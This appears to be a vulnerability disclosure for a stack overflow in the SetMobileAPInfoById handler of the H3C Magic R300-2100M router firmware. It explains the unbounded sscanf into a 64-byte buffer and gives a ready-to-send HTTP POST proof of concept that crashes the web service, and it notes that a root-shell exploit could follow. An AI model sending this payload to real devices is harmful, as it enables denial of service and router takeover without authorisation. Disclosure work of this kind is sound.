# H3C Magic R300-2100M was discovered stack overflow via the SetMobileAPInfoById interface at /goform/aspForm
###### tags: `H3C` `Magic R300-2100M`
vendor:H3C
product:Magic R300-2100M
version:R300-2100MV100R004
type:Stack Overflow
author:Yifeng Li，Wolin Zhuang;
## Vulnerability Description
H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the SetMobileAPInfoById interface at /goform/aspForm.
## Vulnerability Details
In the SetMobileAPInfoById function, local variable v18 is 64 bytes long.
V10 can be controlled by attacker, entered as parameter 'param'.
In line 28, v10 is formatted into v18 by function sscanf as long as
the size of the data we enter until ';'. So when the size of the data we enter before ';' is larger than 36 bytes, it will cause a stack overflow.
## Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
1. Upgrade router Magic_R300-2100M to newest firmware(we have a physical machine)
2. Login to 192.168.124.1 as admin
3. Attack with the following POC
```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.124.1/mobile.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG=
Connection: close
Content-Length: 607
CMD=SetMobileAPInfoById¶m=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
```
By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress.
And you can write your own exp to get the root shell.